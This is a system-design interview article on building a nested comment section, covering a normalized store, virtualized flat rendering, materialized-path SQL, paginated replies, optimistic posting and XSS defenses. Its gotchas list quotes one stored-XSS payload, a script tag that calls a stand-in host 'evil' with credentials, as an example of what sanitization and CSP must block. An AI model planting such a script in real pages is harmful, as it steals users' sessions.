"Design a comment section" sounds like a rendering exercise: some boxes, some indentation, some recursion โ an afternoon with React. That's the tutorial version. The production version โ Reddit and Hacker News under real load โ is a tree-structure problem wearing a comment box's clothing: 5,000 replies that must scroll at 60fps, pagination that works inside a tree, user-written HTML that must never execute, and a sort order that updates live without yanking the comment out from under the reader's eyes.
This article walks the full design using the RADIO framework: Requirements, Architecture, Data Model, Interface, Optimisations.
R โ Requirements
Scope first โ the interviewer is checking whether you see the hard parts unprompted.
Functional:
- Threaded replies, N levels deep (Reddit caps display depth; clarify the cap)
- Post, edit, delete (soft delete โ "deleted" stub stays for tree integrity)
- Vote/score, and sort by Best / New / Top
- Collapse any thread; jump to parent; permalink per comment
- Markdown-ish formatting, @mentions, optional real-time updates
- "Load more replies" under long threads instead of dumping everything
Non-functional:
- A post with 5,000 comments scrolls at 60fps โ the page never blocks
- Posting is optimistic: the comment appears the same frame you hit send
- User content is untrusted: markdown/HTML can never XSS the page
- Re-sorting while someone reads never moves the comment under their eyes
- Deep threads paginate; nothing loads a subtree bigger than ~200 nodes at once
Good clarifying questions: Max nesting depth (Reddit: ~10, then flattens with "continue this thread")? Typical scale โ 50 comments or 5,000? Do scores update live? Guest read vs logged-in write? Is deletion hard or soft? Asking these before drawing anything is the senior signal.
A โ Architecture
Three layers, and the one rule that makes the whole design work: the tree is stored flat, rendered flat, and only looks like a tree.
CommentProvider (normalized store + server sync, no UI)
โโโ CommentList (flat, virtualized window of the visible rows)
โ โโโ CommentRow (one row: indent by depth, memoized, dumb)
โโโ Composer (markdown input, optimistic submit)
โโโ CommentToolbar (sort selector, live-update affordance)The trap this structure avoids: the naive Comment component that renders its own children.map(<Comment/>) recursively. Recursion over nested data means every score change, collapse, or new reply re-renders a whole subtree, React reconciliation walks thousands of nodes, and virtualization is impossible because there's no flat list to window. We keep the data normalized and produce a flattened visible list โ the tree becomes an indentation detail.
// The derive step: tree state -> flat render list (memoized)
function flattenVisible({ byId, childIdsByParent, topLevelIds }, collapsed) {
const rows = [];
const walk = (ids, depth) => {
for (const id of ids) {
rows.push({ id, depth });
if (!collapsed.has(id)) walk(childIdsByParent[id] || [], depth + 1);
}
};
walk(topLevelIds, 0);
return rows; // [{id, depth}, ...] โ a single virtualizable list
}Collapse is just a Set of ids โ the subtree stays in the store, the flattener skips it, and the row shows a "+ 42 collapsed replies" affordance.
D โ Data Model
This is where the interview is won. Two sides: how the server stores the tree, and how the client holds it.
Server โ never bare parent_id alone. Adjacency lists (comments.parent_id) can't fetch a subtree in one query โ you'd recurse in application code or in recursive CTEs that get slow fast. The production answer is a materialized path: each row stores its ancestry.
CREATE TABLE comments (
id BIGINT PRIMARY KEY,
post_id BIGINT NOT NULL,
parent_id BIGINT, -- NULL = top-level
path TEXT NOT NULL, -- '/9012.9114.9120/' ancestors incl. self
depth SMALLINT NOT NULL, -- 0 for top-level
body TEXT NOT NULL,
author_id BIGINT NOT NULL,
score INT NOT NULL DEFAULT 0,
deleted BOOLEAN NOT NULL DEFAULT FALSE,
created_at TIMESTAMPTZ NOT NULL
);
CREATE INDEX ON comments (post_id, path); -- subtree = path prefix scanFetching a subtree is one WHERE path LIKE '/9012.9114/%' โ no recursion. Sorting within a thread is an ORDER BY on the same index. (Postgres has native ltree for this; the principle is identical.)
Client โ normalized, never nested.
state = {
byId: {
9012: { id: 9012, parentId: null, depth: 0, score: 431, body: "...", author: "dan" },
9114: { id: 9114, parentId: 9012, depth: 1, score: 87, body: "...", author: "may" },
},
topLevelIds: [9230, 9012, 8998], // sorted per current sort key
childIdsByParent: { 9012: [9114, 9120], 9114: [9171] },
collapsed: new Set(), // UI-only
pending: new Map(), // tempId -> optimistic comment
}One update to byId[9114].score touches exactly one object. Compare that to patching a score buried six levels deep in a nested tree โ where finding it means walking the structure and copying every ancestor on the way back up. Normalization isn't a preference here; it's what makes O(1) updates and memoized rows possible.
I โ Interface
The API paginates per node, not per page โ trees don't fit offset pagination.
GET /posts/:id/comments?sort=best&limit=50
-> { comments: [...], nextCursor } // top-level only
GET /comments/:id/replies?limit=100
-> { comments: [...], nextCursor } // one node's children
POST /posts/:id/comments { body, parentId, clientId }
-> { comment } | 202 { accepted: true } // accepted-then-fanout
PATCH /comments/:id { body } // edit, own comments only
DELETE /comments/:id // soft deleteclientId (a uuid minted in the composer) is the idempotency key: if the POST times out and retries, the server returns the already-created comment instead of double-posting. This is the same pattern that saves you in optimistic kanban moves โ interviews love it because it's what actually breaks in production.
O โ Optimisations
1. Virtualize the flattened list
With flattenVisible producing one array of {id, depth} rows, the comment section is just... a list. react-window or @tanstack/virtual windows it: 5,000 comments render ~25 DOM rows regardless of total count. Each CommentRow is memo-bound to byId[id] โ a score change re-renders exactly one row, not a subtree. Indentation is padding-left: depth * 24px (capped โ beyond depth ~10, Reddit-style, threads flatten and get a "continue this thread โ" link to a permalink page, because a 4,000px indent is unreadable).
2. Per-node lazy loading
Never fetch the whole tree. Initial load: top-level page (50). Each node ships with replyCount; the UI renders a "Show 87 replies" button that fetches /comments/:id/replies on demand. Deep megathreads cap at ~200 nodes per fetch with continuation cursors. The trick interviewers probe: pagination inside a tree is per-parent, not global.
3. Optimistic posting with honest failure
const tempId = `tmp-${crypto.randomUUID()}`;
store.byId[tempId] = { id: tempId, body, depth: computed, pending: true };
store.childIdsByParent[parentId] = [...existing, tempId]; // appears instantly
try {
const { comment } = await api.post(`/posts/${postId}/comments`,
{ body, parentId, clientId: tempId });
replaceTemp(tempId, comment); // swap id, clear pending flag
} catch {
markFailed(tempId); // inline "retry / discard" โ not a toast
}The failed comment stays in place, greyed, with Retry/Discard โ its context (which parent, which position) is the thing the user loses if you just toast-and-delete.
4. XSS: user content is a weapon
Markdown is rendered to HTML server-side (or via a sanitizing pipeline), and the client still runs the output through DOMPurify before dangerouslySetInnerHTML. Server sanitization alone isn't enough โ a misconfigured cache, a proxy rewrite, or a stored-XSS upstream means the client is the last line of defense. Add a tight CSP (script-src 'self') so even a slipped payload doesn't execute. Say "I never trust rendered HTML, even my own server's" and watch the interviewer nod.
5. Live sorting that doesn't fight the reader
Scores change constantly under Best sort. Re-sorting immediately means comments teleport while someone is mid-read โ hostile UX. Production behavior (Reddit, HN): sort is a snapshot; incoming updates accumulate into an affordance โ "12 new comments ยท Score updates available" โ and the list re-sorts only when the user clicks or navigates. New replies via WebSocket merge by id (dedupe against byId), land under their parent collapsed-by-default, and never move existing rows.
6. Accessibility
Semantic ol/li list (or role="list"), collapse buttons expose aria-expanded, deleted stubs read "comment deleted", and new live comments announce via an aria-live="polite" region ("3 new replies loaded"). Keyboard: threads are focusable, Enter collapses/expands, and reply composers focus-trap properly.
Interview Gotchas
- "5,000 comments freeze the page. Why?" โ Recursive render over nested objects, no virtualization, whole-tree re-renders on any score change. Fix: normalized store + flattened list + virtualization + memoized rows.
- "How do you store a tree in SQL?" โ
parent_id+ materialized path (orltree); subtree fetch is a prefix scan, not recursion. Bare adjacency lists fail the "one query" follow-up. - "A comment has 800 replies โ render them all?" โ Per-node "show replies" with cursor pagination; depth cap + "continue this thread" permalink.
- "User posts
<script>fetch('//evil', {credentials:'include'})</script>" โ sanitize server-side, DOMPurify client-side anyway, CSP as backstop. Rendering raw user HTML is the auto-fail answer. - "Best sort keeps re-ordering while I read." โ snapshot + deferred re-sort affordance. This is the answer they've never heard from a junior.
- "POST timed out and the user refreshed โ duplicate comment?" โ
clientIdidempotency key; server returns the original. - "Delete a comment with 40 children?" โ soft delete; body becomes "deleted", tree intact. Hard delete orphans the subtree.
Summary
A production-grade nested comments design:
- Requirements: threaded replies with a depth cap, sort/vote, collapse, soft delete, 5,000-comment smoothness, XSS-proof rendering
- Architecture: normalized store โ
flattenVisible()โ one virtualized flat list; the tree is an indentation detail, not a component structure - Data model: server stores
parent_id+ materializedpath+depthfor one-query subtrees; client storesbyId+topLevelIds+childIdsByParentfor O(1) updates - Interface: per-node reply pagination with cursors; idempotent POST via
clientId - Optimisations: windowed rendering, lazy "show replies", optimistic posting with inline retry, DOMPurify + CSP, snapshot sorting with a "new updates" affordance, live-region a11y
The comment box is easy; the tree under it is where the engineering โ and the interview โ actually lives. That's why it's asked.